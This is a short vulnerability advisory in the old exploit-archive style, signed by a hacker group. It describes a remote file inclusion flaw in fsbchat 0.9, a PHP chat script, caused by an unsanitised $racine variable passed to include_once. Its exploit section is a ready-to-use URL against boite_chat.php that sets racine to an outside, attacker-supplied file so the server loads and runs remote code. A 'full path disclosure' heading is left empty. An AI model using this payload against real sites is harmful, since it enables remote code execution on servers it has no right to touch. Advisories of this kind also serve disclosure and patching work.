fsbchat09-rfi.txt

`******************************************  
*AuThor:Silitoad *************************  
*emA!l:Silitoad[at]hotmail[dot]Com *******  
*HoMePaGe:http://www.Arabian-FighterZ.com*  
******************************************  
  
  
Powered By Silitoad From Arabian-Fighterz  
  
[Info]  
  
Website: http://www.zoneur.com  
Version: 0.9  
Download: http://pub.zoneur.com/script/php/fsb/fsbchat/fsbchat-0.9.rar  
Problem: Include file  
  
bug: include_once( $racine . 'includes/functions/fonctions_fsbchat.php' );  
  
  
  
[Vuls]  
  
  
1.Full path disclosure:  
  
  
[Exploit]  
  
http://target/fsbchat-0.9/root/includes/boite_chat.php?racine=http://evilcode.txt  
?  
  
[Fix]  
  
Vuls has been reported to author,No reply yet...  
  
[Greetings]  
  
Greets To Linux_m,l1nuxm4,Sn1p8r,Sbitar,Op3runix  
`